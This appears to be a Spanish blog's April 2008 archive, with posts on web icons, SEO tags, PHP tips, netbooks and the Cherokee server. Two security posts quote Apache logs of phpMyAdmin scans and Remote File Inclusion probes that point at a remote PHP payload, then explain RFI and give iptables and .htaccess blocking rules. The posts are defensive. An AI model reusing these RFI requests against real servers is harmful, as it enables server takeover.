Archive for April, 2008

Estandarizando los íconos en la web

Wednesday, April 30th, 2008

La mayoría de los bloggers usan íconos en sus blogs, rss, share this, etc., para hacer de la web un lugar más agradable y menos complejo.

Si cada quien inventara su propio ícono para sus feeds sin seguir un patrón resultaría difícil identificar de un solo vistazo el enlace directo a esta herramienta de sindicación.

El ícono del RSS fue introducido por Mozilla en su navegador Firefox invitando a adptarlo para usarlo en aplicaciones y sitios como manera de reconocer fácilmente los feeds.

Bueno pues hay una propuesta para seguir los estándares en los íconos web y así hacer de la web un lugar más facil de usar.

Open share icon

Me llamo la atención un ícono en particular, el “Open Share icon” que pretende sustituir al de sharethis. El ícono de sharethis tiene copyright, por lo tanto nace un nuevo ícono, que es libre y propone remplazar al anterior (sharethis).

Los principales motivos de este cambio:

Tabla diferencias

El ícono se puede descargar desde google groups en formato psd y ai.

Existen sitios destinados a ofrecer archivos para modificar estos íconos y adaptarlos a nuestros sitios.

Feed – http://www.feedicons.com/ Feed icon

OPML – http://www.opmlicons.com/ opml icon

Geotag – http://www.geotagicons.com/ Geotag

Tags, estructura de un website para SEO y consecuencia de mal uso de tags.

Wednesday, April 30th, 2008

Hace unos días leí un articulo en ChicaSEO recomendando utilizar tags HTML para mejorar la indexación de los robots de sitios de búsqueda.

El articulo hablaba sobre los tags HTML más importantes, entre los cuales destacaban los tags <title>, atributos keywords y description del tag <meta>, <strong>, <p>, <a>, <h1>, <h2>, <h3> y atributos alt y title

Seomoz nos ofrece un documento en formato PDF con las recomendaciones que a su experiencia ayudan a mejorar el posicionamiento.

En el documento hacen énfasis al número de links que es recomendable tener por página, así como al tamaño del html y al número de variables en una dirección URL, también nos aconsejan usar una estructura del tag <title>, la cual en lo personal lo veo sumamente productiva, ya que nos ofrece reconocer la parte de un sitio simplemente con ver su título. La estructura que recomiendan es la siguiente:

Website Title | Category > Subcategory – Item

Modificar el archivo .htaccess, así como usar un sitemap en formato XML exclusivo para robots y otros tips importantes se pueden apreciar muy bien en el documento.

Yo agregaría usar el tag <acronym> como complemento, aunque se que no es un tag protagonista como los antes mencionados, pero el mal uso de este tag perjudica la óptima indexación de nuestro sitio. En algunos foros y blogs no recomiendan usarlo y pronostican que se perderá en un futuro. Sin embargo mi opinión es que los tags <abbr> y <acronym> son tags que ofrecen que los lectores tengan una lectura más amena. W3C recomienda usar estos tags, sin embargo hay personas que tienen problemas para diferenciar su función y creo que es la principal razón por la cual los buscadores no tengan resultados óptimos en sus algoritmos con estos tags.

La diferencia entre <abbr> y <acronym> es muy simple:

<abrr>: se usa para denotar una abreviación, no hay vuelta de hoja. Ejemplo WWW

<acronym>: se usa para denotar un acrónimo. Un acrónimo son siglas que se leen como una palabra. Ejemplo ovni

El problema surge cuando aplicamos usar <abbr> y <acronym> como remplazo de paréntesis para tener una mejor apariencia.

Mal uso de <abbr> y <acronym> : El día de ayer actualicé mi blog bla bla bla

W3C deja muy claro el correcto uso de estos tags, y los robots de los buscadores se apegan (o deberían) apegarse a él. Es por eso que usar estos tags para fines distintos a los destinados ofuscan los resultados de la indexación web (aunque no es para tanto, pero se debería de usar correctamente).

Un tag que si me parece importantísimo es el tag <em> que en sirve para hacer énfasis a lo que contiene, en otras palabras, usa este tag para resaltar lo importante.

Usar los tags correctamente hace más fácil el trabajo a los robots y ayudamos a tener una blogsfera muy limpia al mismo tiempo que cumplimos los estándares webs.

Seguridad: protegete de espías 2

Tuesday, April 22nd, 2008

En el post anterior hablaba de intrusos que buscan detectar vulnerabilidades de algunos scripts.

Bueno pues veo que cada vez hay un mayor número de estas “herramientas” (para kiddies) que no hacen otra cosa que hacernos perder el tiempo.

Voy a dedicar una sección en este blog para hablar acerca de estas herramientas, pero primero, lo primero.

217.118.2.160 – - [20/Apr/2008:18:03:37 -0500] “GET /components/com_forum/download.php?phpbb_root_path?=http://dwlz2.dwlz2.com/~dwlz2/ice.txt/ HTTP/1.1″ 404 310 “-” “Morfeus Fucking Scanner”
217.118.2.160 – - [20/Apr/2008:18:03:37 -0500] “GET /components/com_smf/smf.php?mosConfig_absolute_path=http://dwlz2.dwlz2.com/~dwlz2/ice.txt/ HTTP/1.1″ 404 303 “-” “Morfeus Fucking Scanner”
217.118.2.160 – - [20/Apr/2008:18:03:37 -0500] “GET /components/com_forum/download.php?phpbb_root_path?=http://dwlz2.dwlz2.com/~dwlz2/ice.txt/ HTTP/1.1″ 404 310 “-” “Morfeus Fucking Scanner”
217.118.2.160 – - [20/Apr/2008:18:03:37 -0500] “GET /components/com_smf/smf.php?mosConfig_absolute_path=http://dwlz2.dwlz2.com/~dwlz2/ice.txt/ HTTP/1.1″ 404 303 “-” “Morfeus Fucking Scanner”
217.118.2.160 – - [20/Apr/2008:18:03:37 -0500] “GET /components/com_forum/download.php?phpbb_root_path?=http://dwlz2.dwlz2.com/~dwlz2/ice.txt/ HTTP/1.1″ 404 310 “-” “Morfeus Fucking Scanner”
217.118.2.160 – - [20/Apr/2008:18:03:37 -0500] “GET /components/com_smf/smf.php?mosConfig_absolute_path=http://dwlz2.dwlz2.com/~dwlz2/ice.txt/ HTTP/1.1″ 404 303 “-” “Morfeus Fucking Scanner”

Como podrán ver en esos logs, hacen peticiones hacia archivos específicos. Por el nombre de los directorios se puede deducir claramente que los directorios que buscan pertenecen a la estructura de el CMS Joomla.

Deben de usar un scanner de ips, por que ni siquiera se tomaron la molestia de verificar si en este servidor hay Joomla instalado (no, no hay, ni lo habrá).

Algunos blogs recomiendan bannear ese user-agent “Morfeus Fucking Scanner”, lo cual si serviría temporalmente, ya que cambiando el user-agent del scanner se soluciona el asunto.

Para bloquear ese scanner por medio de su user-agent basta con agregar esto al .htaccess

RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} ^Morfeus
RewriteRule ^.*$ - [F]

Con estas líneas se le denegaría el acceso al user-agent, pero no a la ip.

Otros recomiendan devolverles el favor a los espías con estas líneas
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} (^Morfeus) [NC]
RewriteRule .* http://%{REMOTE_ADDR} [r=301,l]

Con las líneas anteriores se hace un forwarding a la misma ip de donde proviene el ataque. Pero al igual que con el código anterior, solo se le denegará el acceso al user-agent y no a la ip.

Yo recomiendo agregar reglas para banear las ips.
iptables -A INPUT -s LAIP -j DROP

Pero si no tenemos acceso a las iptables, también podremos bannear a los espías mediante el archivo .htaccess de la siguiente manera:

#Morfeus Fucking Hacker
deny from 217.118.2.160

Se que es algo molesto andar editando el archivo cada vez que un nuevo espía se acerque a nosotros, pero es mejor que podemos hacer sino tenemos acceso para bannear desde iptables.

¿Pero que ganan exactamente los espías al encontrar lo que buscan?

Bueno pues pongamos atención a la siguiente línea:

217.118.2.160 – - [20/Apr/2008:18:03:37 -0500] “GET /components/com_forum/download.php?phpbb_root_path?=http://dwlz2.dwlz2.com/~dwlz2/ice.txt/ HTTP/1.1″ 404 310 “-” “Morfeus Fucking Scanner”

Lo que buscan hacer se llama RFI (Remote File Inclusion) que consiste según wikipedia en:

Remote File Inclusion, traducido al español como Inclusión Remota de Archivos – vulnerabilidad existente solamente en páginas dinámicas en PHP que permite el enlace de archivos remotos situados en otros servidores a causa de una mala programación de la página que contiene la función include().

En pocas palabras ellos cuelgan un archivo en otro servidor (En este caso http://dwlz2.dwlz2.com/~dwlz2/ice.txt) que tiene código PHP que permite al atacante tomar control sobre el servidor, o al menos, usar código PHP para construir scripts para funciones específicas (spam, defaces, craking, etc). Verdaderamente es de extrema importancia cuidarnos de este tipo de ataques, ya que muchas cosas se ven comprometidas (Incluso la Base de datos).

Seguridad: protegete de espías

Wednesday, April 16th, 2008

Ha sido una semana muy dura, mucho trabajo y muchas cosas pendientes por hacer.

Estaba revisando los logs de apache y vi unas cosas raras:

69.64.197.157 – - [15/Apr/2008:07:06:07 -0500] “GET /phpmyadmin/main.php HTTP/1.0″ 404 296 “-” “-”
69.64.197.157 – - [15/Apr/2008:07:06:07 -0500] “GET /phpmyadmin/main.php HTTP/1.0″ 404 296 “-” “-”
69.64.197.157 – - [15/Apr/2008:07:06:07 -0500] “GET /phpMyAdmin/main.php HTTP/1.0″ 404 296 “-” “-”
69.64.197.157 – - [15/Apr/2008:07:06:07 -0500] “GET /phpMyAdmin/main.php HTTP/1.0″ 404 296 “-” “-”
69.64.197.157 – - [15/Apr/2008:07:06:07 -0500] “GET /PHPMYADMIN/main.php HTTP/1.0″ 404 296 “-” “-”
69.64.197.157 – - [15/Apr/2008:07:06:07 -0500] “GET /PHPMYADMIN/main.php HTTP/1.0″ 404 296 “-” “-”
69.64.197.157 – - [15/Apr/2008:07:06:07 -0500] “GET /pHpMyAdMiN/main.php HTTP/1.0″ 404 296 “-” “-”
69.64.197.157 – - [15/Apr/2008:07:06:07 -0500] “GET /pHpMyAdMiN/main.php HTTP/1.0″ 404 296 “-” “-”
69.64.197.157 – - [15/Apr/2008:07:06:07 -0500] “GET /PhPmYaDmIn/main.php HTTP/1.0″ 404 296 “-” “-”
69.64.197.157 – - [15/Apr/2008:07:06:07 -0500] “GET /PhPmYaDmIn/main.php HTTP/1.0″ 404 296 “-” “-”
69.64.197.157 – - [15/Apr/2008:07:06:07 -0500] “GET /PHPmyadmin/main.php HTTP/1.0″ 404 296 “-” “-”
69.64.197.157 – - [15/Apr/2008:07:06:07 -0500] “GET /PHPmyadmin/main.php HTTP/1.0″ 404 296 “-” “-”
69.64.197.157 – - [15/Apr/2008:07:06:07 -0500] “GET /PHPMYadmin/main.php HTTP/1.0″ 404 296 “-” “-”
69.64.197.157 – - [15/Apr/2008:07:06:07 -0500] “GET /PHPMYadmin/main.php HTTP/1.0″ 404 296 “-” “-”
69.64.197.157 – - [15/Apr/2008:07:06:07 -0500] “GET /phpMYadmin/main.php HTTP/1.0″ 404 296 “-” “-”
69.64.197.157 – - [15/Apr/2008:07:06:07 -0500] “GET /phpMYadmin/main.php HTTP/1.0″ 404 296 “-” “-”
69.64.197.157 – - [15/Apr/2008:07:06:07 -0500] “GET /phpmyADMIN/main.php HTTP/1.0″ 404 296 “-” “-”
69.64.197.157 – - [15/Apr/2008:07:06:07 -0500] “GET /phpmyADMIN/main.php HTTP/1.0″ 404 296 “-” “-”
69.64.197.157 – - [15/Apr/2008:07:06:08 -0500] “GET /pmamy/main.php HTTP/1.0″ 404 291 “-” “-”
69.64.197.157 – - [15/Apr/2008:07:06:08 -0500] “GET /pmamy/main.php HTTP/1.0″ 404 291 “-” “-”
69.64.197.157 – - [15/Apr/2008:07:06:08 -0500] “GET /pma/main.php HTTP/1.0″ 404 289 “-” “-”
69.64.197.157 – - [15/Apr/2008:07:06:08 -0500] “GET /pma/main.php HTTP/1.0″ 404 289 “-” “-”
69.64.197.157 – - [15/Apr/2008:07:06:08 -0500] “GET /PMA/main.php HTTP/1.0″ 404 289 “-” “-”
69.64.197.157 – - [15/Apr/2008:07:06:08 -0500] “GET /PMA/main.php HTTP/1.0″ 404 289 “-” “-”
69.64.197.157 – - [15/Apr/2008:07:06:08 -0500] “GET /myadmin/main.php HTTP/1.0″ 404 293 “-” “-”
69.64.197.157 – - [15/Apr/2008:07:06:08 -0500] “GET /myadmin/main.php HTTP/1.0″ 404 293 “-” “-”
69.64.197.157 – - [15/Apr/2008:07:06:08 -0500] “GET /phpmyadmin/main.php HTTP/1.0″ 404 296 “-” “-”
69.64.197.157 – - [15/Apr/2008:07:06:08 -0500] “GET /phpmyadmin/main.php HTTP/1.0″ 404 296 “-” “-”
69.64.197.157 – - [15/Apr/2008:07:06:08 -0500] “GET /MYADMIN/main.php HTTP/1.0″ 404 293 “-” “-”
69.64.197.157 – - [15/Apr/2008:07:06:08 -0500] “GET /MYADMIN/main.php HTTP/1.0″ 404 293 “-” “-”
69.64.197.157 – - [15/Apr/2008:07:06:08 -0500] “GET /phpMyAdmin/main.php HTTP/1.0″ 404 296 “-” “-”
69.64.197.157 – - [15/Apr/2008:07:06:08 -0500] “GET /phpMyAdmin/main.php HTTP/1.0″ 404 296 “-” “-”
69.64.197.157 – - [15/Apr/2008:07:06:08 -0500] “GET /MYadmin/main.php HTTP/1.0″ 404 293 “-” “-”
69.64.197.157 – - [15/Apr/2008:07:06:08 -0500] “GET /MYadmin/main.php HTTP/1.0″ 404 293 “-” “-”
69.64.197.157 – - [15/Apr/2008:07:06:08 -0500] “GET /PHPMYADMIN/main.php HTTP/1.0″ 404 296 “-” “-”
69.64.197.157 – - [15/Apr/2008:07:06:08 -0500] “GET /PHPMYADMIN/main.php HTTP/1.0″ 404 296 “-” “-”

Bueno a primera vista se ve que buscan vulnerabilidades del phpmyadmin, pero primero tienen que saber donde está (si es que está), intentaron con no menos de 100 nombres distintos de carpetas y archivos, así que mejor añadí una regla a las IPTABLES para bannear definitivamente esa ip

iptables -A INPUT -s 69.64.197.157 -j DROP

Bueno eso no fui lo único que vi en los logs, también andaba un scanner:

67.205.68.215 – - [15/Apr/2008:17:13:18 -0500] “GET /w00tw00t.at.ISC.SANS.DFind:) HTTP/1.1″ 400 300 “-” “-”
67.205.68.215 – - [15/Apr/2008:17:13:18 -0500] “GET /w00tw00t.at.ISC.SANS.DFind:) HTTP/1.1″ 400 300 “-” “-”
67.205.68.215 – - [15/Apr/2008:17:13:18 -0500] “GET /w00tw00t.at.ISC.SANS.DFind:) HTTP/1.1″ 400 300 “-” “-”
67.205.68.215 – - [15/Apr/2008:17:13:18 -0500] “GET /w00tw00t.at.ISC.SANS.DFind:) HTTP/1.1″ 400 300 “-” “-”
67.205.68.215 – - [15/Apr/2008:17:13:18 -0500] “GET /w00tw00t.at.ISC.SANS.DFind:) HTTP/1.1″ 400 300 “-” “-”
67.205.68.215 – - [15/Apr/2008:17:13:18 -0500] “GET /w00tw00t.at.ISC.SANS.DFind:) HTTP/1.1″ 400 300 “-” “-”
67.205.68.215 – - [15/Apr/2008:17:13:18 -0500] “GET /w00tw00t.at.ISC.SANS.DFind:) HTTP/1.1″ 400 300 “-” “-”

Bueno investigando un poco veo que se trata de un scanner que busca vulnerabilidades bueno si ponen esa dirección en el navegador http://67.205.68.215/ verán que es un servidor con Plesk instalado (en plataforma windows por cierto) , bueno aplicando lo mismo agregue una regla para banear esa ip
iptables -A INPUT -s 67.205.68.215 -j DROP

Les sugiero que si ven en sus logs algo parecido a esto agreguen unas reglas para banear las ips “No bienvenidas”.

EeePC haciendo eco

Wednesday, April 9th, 2008

Hace unos días comentaba la estrategia de Asus con su subportatil y bueno hoy veo que una de las empresas mas grande en el ramo de los portátiles sale a la competencia, HP.

HP ha anunciado su modelo MiniNotePC que pretende acaparar competir parte del mercado de las subportátiles.

Para comenzar el procesador es VIA, no muy buena elección. Las especificaciones las pueden encontrar en la pagina de HP

Mini Note

Cada vez hay más, apuesto que antes del otro mes vemos respuesta de otra empresa gorda.

La diferencia

Tuesday, April 8th, 2008

La unica diferencia que hay entre la mejor fotografía del mundo y un cuadro de velazquez es 7 millones de dolares, la fotografía está realizada por un ojo mecánico y la pintura por un ojo cuasi-divino.

Salvador Dalí (1904 – 1989) Video

10 consejos al programar en PHP

Saturday, April 5th, 2008

Aquí les dejo la lista de mis 10 consejos al programar en PHP (o al menos es lo que pienso que es lo más óptimo).

  1. Usa el operador ternario

    if ($a < $b) return $a;
    else return $b;

    se podria resumir en:

    return $a < $b ? $a : $b;

  2. Usar explode si no se usan expresiones regulares.

    La función explode vierte sobre un array los valores contenidos en una cadena delimitados por un separador, la función split hace lo mismo, pero evalúa las expresiones regulares.

  3. Si no hay control sobre una variable es recomendable verificar que este inicializada.

    usar isset($variable)

  4. Si hay que usar condiciones anidadas es preferible usar switch a if’s anidados

    usar switch

  5. Siempre es bueno codificar claramente, siempre con la idea de que alguien más lo va a ver, aunque no sea así, quien sabe? quizás nos ayude a nosotros mismos más adelante.

    Es importante usar nombre de variables y funciones que nos den una idea clara de contenido (variables) y su función.

  6. Usar comillas simples es mucho más rapido.

    Cuando se usan comillas dobles antes de procesar se revisa la cadena en busca de variables para devolver el valor de ellas. En comillas simples no se hace tal revisión.

  7. Datos especiales

    cuando elaboramos archivos con datos especiales (por ejemplo un config), es preferible usar constantes.
    define(’DBHOST’,'localhost’) en vez de $dbhost = ‘localhost’;

  8. Cabecera de los archivos.

    Es recomendable poner datos que identifiquen al archivo con el proyecto, ademas que es una manera rápida para añadir información que ayude a identificar el contenido del archivo.
    /**
    *
    * @Project My Web Project. @db_functions.php – Funciones para controlar la base de datos.
    * @version: 0.0001 @modificado: 1 enero 2008
    * @author: John Doe
    *
    */

  9. No escatimes en código por seguridad

    Aunque tu proyecto sea pequeño, trata de tomar todas las medidas necesarias, usar Magic Quotes es sano. Recuerda que el nivel de seguridad de un sistema, es directamente proporcional a la paranoia de su administrador.

  10. Optimiza Código

    Trata de ahorrar algunos Kbytes a tus archivos, optimiza tu código al máximo, usa expresiones regulares, recursividad, y classes.

Ninja Coder

Clásica historia de rock’n'roll

Saturday, April 5th, 2008

Me siento como si la gente quisiera que me muera, porque así se cumpliría la clásica historia de rock’n’roll

Recordando a Kurt Cobain (20/02/1967 – ~05/04/1994)

Cherokee una opción blogger

Thursday, April 3rd, 2008
Cherokee

Entre módulos que no ocupo, procesos innecesarios en mi servidor, y configuraciones por demás sobradas, mi servidor web esta funcionando un poco más lento que de lo normal.

Buscando un poco por la red encontré Cherokee, un magnífico Servidor Web escrito enteramente en lenguaje C que cuenta con todas las características necesarias para montar un CMS como WordPress, el favorito de los bloggers.

¿Que ofrece?

Para empezar, es super rápido (mucho más que mi configuración actual de Apache), fácil de instalar y configurar. Soporta CGI, FastCGI, SCGI, PHP, CGI, y conexiones seguras (encriptadas) TLS y SSL.

No es un secreto la importancia de tener servidores rápidos, sobre todo en la comunidad bloggera. Ayuda muchísimo a los lectores de nuestro blog, uno o dos segundos realmente cuentan.

Actualmente cuento con un servidor dedicado donde alojo este blog y varios sitios de amigos. Los blogs robustos con muchos miles de visitas diarias seguramente usaran Lighttpd, sin embargo Cherokee en su versión actual 0.6 puede ser considerado una opción para los bloggers que cuentan con un servidor dedicado propio y quieren aumentar la velocidad y rendimiento, además de ser un proyecto hispano.

Me agradó mucho su interfaz de administración bastante “user-friendly” desde la cual configurar Mime Types, Servidores Virtuales, alias, y demás parametros requeridos ,según nuestras necesidades, es muy intuitivo, rápido y fácil.

Administación Cherokee

Por todas las características, considero que Cherokee debería ser una opción importante para la comunidad bloggera.